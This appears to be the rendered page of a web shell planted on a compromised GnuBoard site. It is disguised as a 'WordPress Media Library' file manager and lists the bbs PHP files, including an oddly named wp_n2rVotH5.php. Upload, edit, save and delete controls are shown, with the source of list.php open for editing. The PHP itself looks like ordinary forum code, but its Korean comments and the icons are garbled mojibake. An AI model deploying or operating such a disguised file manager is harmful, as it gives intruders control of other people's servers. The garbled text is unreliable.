โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: list.php
Size: 8.48 KB | Modified: 2019-12-05 09:09:25
<?php if (!defined('_GNUBOARD_')) exit; // ๊ฐ๋ณ ํ์ด์ง ์ ๊ทผ ๋ถ๊ฐ // ๋ถ๋ฅ ์ฌ์ฉ ์ฌ๋ถ $is_category = false; $category_option = ''; if ($board['bo_use_category']) { $is_category = true; $category_href = get_pretty_url($bo_table); $category_option .= '<li><a href="'.$category_href.'"'; if ($sca=='') $category_option .= ' id="bo_cate_on"'; $category_option .= '>์ ์ฒด</a></li>'; $categories = explode('|', $board['bo_category_list']); // ๊ตฌ๋ถ์๊ฐ , ๋ก ๋์ด ์์ for ($i=0; $i<count($categories); $i++) { $category = trim($categories[$i]); if ($category=='') continue; $category_option .= '<li><a href="'.(get_pretty_url($bo_table,'','sca='.urlencode($category))).'"'; $category_msg = ''; if ($category==$sca) { // ํ์ฌ ์ ํ๋ ์นดํ ๊ณ ๋ฆฌ๋ผ๋ฉด $category_option .= ' id="bo_cate_on"'; $category_msg = '<span class="sound_only">์ด๋ฆฐ ๋ถ๋ฅ </span>'; } $category_option .= '>'.$category_msg.$category.'</a></li>'; } } $sop = strtolower($sop); if ($sop != 'and' && $sop != 'or') $sop = 'and'; // ๋ถ๋ฅ ์ ํ ๋๋ ๊ฒ์์ด๊ฐ ์๋ค๋ฉด $stx = trim($stx); //๊ฒ์์ธ์ง ์๋์ง ๊ตฌ๋ถํ๋ ๋ณ์ ์ด๊ธฐํ $is_search_bbs = false; if ($sca || $stx || $stx === '0') { //๊ฒ์์ด๋ฉด $is_search_bbs = true; //๊ฒ์๊ตฌ๋ถ๋ณ์ true ์ง์ $sql_search = get_sql_search($sca, $sfl, $stx, $sop); // ๊ฐ์ฅ ์์ ๋ฒํธ๋ฅผ ์ป์ด์ ๋ณ์์ ์ ์ฅ (ํ๋จ์ ํ์ด์ง์์ ์ฌ์ฉ) $sql = " select MIN(wr_num) as min_wr_num from {$write_table} "; $row = sql_fetch($sql); $min_spt = (int)$row['min_wr_num']; if (!$spt) $spt = $min_spt; $sql_search .= " and (wr_num between {$spt} and ({$spt} + {$config['cf_search_part']})) "; // ์๊ธ๋ง ์ป๋๋ค. (์ฝ๋ฉํธ์ ๋ด์ฉ๋ ๊ฒ์ํ๊ธฐ ์ํจ) // ๋ผ์๋ ์ ์ ์ฝ๋๋ก ๋์ฒด http://sir.kr/g5_bug/2922 $sql = " SELECT COUNT(DISTINCT `wr_parent`) AS `cnt` FROM {$write_table} WHERE {$sql_search} "; $row = sql_fetch($sql); $total_count = $row['cnt']; /* $sql = " select distinct wr_parent from {$write_table} where {$sql_search} "; $result = sql_query($sql); $total_count = sql_num_rows($result); */ } else { $sql_search = ""; $total_count = $board['bo_count_write']; } if(G5_IS_MOBILE) { $page_rows = $board['bo_mobile_page_rows']; $list_page_rows = $board['bo_mobile_page_rows']; } else { $page_rows = $board['bo_page_rows']; $list_page_rows = $board['bo_page_rows']; } if ($page < 1) { $page = 1; } // ํ์ด์ง๊ฐ ์์ผ๋ฉด ์ฒซ ํ์ด์ง (1 ํ์ด์ง) // ๋ ๋ 2์๋ฆฌ $today2 = G5_TIME_YMD; $list = array(); $i = 0; $notice_count = 0; $notice_array = array(); // ๊ณต์ง ์ฒ๋ฆฌ if (!$is_search_bbs) { $arr_notice = explode(',', trim($board['bo_notice'])); $from_notice_idx = ($page - 1) * $page_rows; if($from_notice_idx < 0) $from_notice_idx = 0; $board_notice_count = count($arr_notice); for ($k=0; $k<$board_notice_count; $k++) { if (trim($arr_notice[$k]) == '') continue; $row = sql_fetch(" select * from {$write_table} where wr_id = '{$arr_notice[$k]}' "); if (!$row['wr_id']) continue; $notice_array[] = $row['wr_id']; if($k < $from_notice_idx) continue; $list[$i] = get_list($row, $board, $board_skin_url, G5_IS_MOBILE ? $board['bo_mobile_subject_len'] : $board['bo_subject_len']); $list[$i]['is_notice'] = true; $i++; $notice_count++; if($notice_count >= $list_page_rows) break; } } $total_page = ceil($total_count / $page_rows); // ์ ์ฒด ํ์ด์ง ๊ณ์ฐ $from_record = ($page - 1) * $page_rows; // ์์ ์ด์ ๊ตฌํจ // ๊ณต์ง๊ธ์ด ์์ผ๋ฉด ๋ณ์์ ๋ฐ์ if(!empty($notice_array)) { $from_record -= count($notice_array); if($from_record < 0) $from_record = 0; if($notice_count > 0) $page_rows -= $notice_count; if($page_rows < 0) $page_rows = $list_page_rows; } // ๊ด๋ฆฌ์๋ผ๋ฉด CheckBox ๋ณด์ $is_checkbox = false; if ($is_member && ($is_admin == 'super' || $group['gr_admin'] == $member['mb_id'] || $board['bo_admin'] == $member['mb_id'])) $is_checkbox = true; // ์ ๋ ฌ์ ์ฌ์ฉํ๋ QUERY_STRING $qstr2 = 'bo_table='.$bo_table.'&sop='.$sop; // 0 ์ผ๋ก ๋๋์ ์ค๋ฅ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํ์ฌ ๊ฐ์ด ์์ผ๋ฉด 1 ๋ก ์ค์ $bo_gallery_cols = $board['bo_gallery_cols'] ? $board['bo_gallery_cols'] : 1; $td_width = (int)(100 / $bo_gallery_cols); // ์ ๋ ฌ // ์ธ๋ฑ์ค ํ๋๊ฐ ์๋๋ฉด ์ ๋ ฌ์ ์ฌ์ฉํ์ง ์์ //if (!$sst || ($sst && !(strstr($sst, 'wr_id') || strstr($sst, "wr_datetime")))) { if (!$sst) { if ($board['bo_sort_field']) { $sst = $board['bo_sort_field']; } else { $sst = "wr_num, wr_reply"; $sod = ""; } } else { $board_sort_fields = get_board_sort_fields($board, 1); if (!$sod && array_key_exists($sst, $board_sort_fields)) { $sst = $board_sort_fields[$sst]; } else { // ๊ฒ์๋ฌผ ๋ฆฌ์คํธ์ ์ ๋ ฌ ๋์ ํ๋๊ฐ ์๋๋ผ๋ฉด ๊ณต๋ฐฑ์ผ๋ก (nasca ๋ 09.06.16) // ๋ฆฌ์คํธ์์ ๋ค๋ฅธ ํ๋๋ก ์ ๋ ฌ์ ํ๋ ค๋ฉด ์๋์ ์ฝ๋์ ํด๋น ํ๋๋ฅผ ์ถ๊ฐํ์ธ์. // $sst = preg_match("/^(wr_subject|wr_datetime|wr_hit|wr_good|wr_nogood)$/i", $sst) ? $sst : ""; $sst = preg_match("/^(wr_datetime|wr_hit|wr_good|wr_nogood)$/i", $sst) ? $sst : ""; } } if(!$sst) $sst = "wr_num, wr_reply"; if ($sst) { $sql_order = " order by {$sst} {$sod} "; } if ($is_search_bbs) { $sql = " select distinct wr_parent from {$write_table} where {$sql_search} {$sql_order} limit {$from_record}, $page_rows "; } else { $sql = " select * from {$write_table} where wr_is_comment = 0 "; if(!empty($notice_array)) $sql .= " and wr_id not in (".implode(', ', $notice_array).") "; $sql .= " {$sql_order} limit {$from_record}, $page_rows "; } // ํ์ด์ง์ ๊ณต์ง๊ฐ์๊ฐ ๋ชฉ๋ก์ ๋ณด๋ค ์์ ๋๋ง ์คํ if($page_rows > 0) { $result = sql_query($sql); $k = 0; while ($row = sql_fetch_array($result)) { // ๊ฒ์์ผ ๊ฒฝ์ฐ wr_id๋ง ์ป์์ผ๋ฏ๋ก ๋ค์ ํํ์ ์ป๋๋ค if ($is_search_bbs) $row = sql_fetch(" select * from {$write_table} where wr_id = '{$row['wr_parent']}' "); $list[$i] = get_list($row, $board, $board_skin_url, G5_IS_MOBILE ? $board['bo_mobile_subject_len'] : $board['bo_subject_len']); if (strstr($sfl, 'subject')) { $list[$i]['subject'] = search_font($stx, $list[$i]['subject']); } $list[$i]['is_notice'] = false; $list_num = $total_count - ($page - 1) * $list_page_rows - $notice_count; $list[$i]['num'] = $list_num - $k; $i++; $k++; } } g5_latest_cache_data($board['bo_table'], $list); $write_pages = get_paging(G5_IS_MOBILE ? $config['cf_mobile_pages'] : $config['cf_write_pages'], $page, $total_page, get_pretty_url($bo_table, '', $qstr.'&page=')); $list_href = ''; $prev_part_href = ''; $next_part_href = ''; if ($is_search_bbs) { $list_href = get_pretty_url($bo_table); $patterns = array('#&page=[0-9]*#', '#&spt=[0-9\-]*#'); //if ($prev_spt >= $min_spt) $prev_spt = $spt - $config['cf_search_part']; if (isset($min_spt) && $prev_spt >= $min_spt) { $qstr1 = preg_replace($patterns, '', $qstr); $prev_part_href = get_pretty_url($bo_table,0,$qstr1.'&spt='.$prev_spt.'&page=1'); $write_pages = page_insertbefore($write_pages, '<a href="'.$prev_part_href.'" class="pg_page pg_prev">์ด์ ๊ฒ์</a>'); } $next_spt = $spt + $config['cf_search_part']; if ($next_spt < 0) { $qstr1 = preg_replace($patterns, '', $qstr); $next_part_href = get_pretty_url($bo_table,0,$qstr1.'&spt='.$next_spt.'&page=1'); $write_pages = page_insertafter($write_pages, '<a href="'.$next_part_href.'" class="pg_page pg_end">๋ค์๊ฒ์</a>'); } } $write_href = ''; if ($member['mb_level'] >= $board['bo_write_level']) { $write_href = short_url_clean(G5_BBS_URL.'/write.php?bo_table='.$bo_table); } $nobr_begin = $nobr_end = ""; if (preg_match("/gecko|firefox/i", $_SERVER['HTTP_USER_AGENT'])) { $nobr_begin = '<nobr>'; $nobr_end = '</nobr>'; } // RSS ๋ณด๊ธฐ ์ฌ์ฉ์ ์ฒดํฌ๊ฐ ๋์ด ์์ด์ผ RSS ๋ณด๊ธฐ ๊ฐ๋ฅ 061106 $rss_href = ''; if ($board['bo_use_rss_view']) { $rss_href = G5_BBS_URL.'/rss.php?bo_table='.$bo_table; } $stx = get_text(stripslashes($stx)); include_once($board_skin_path.'/list.skin.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete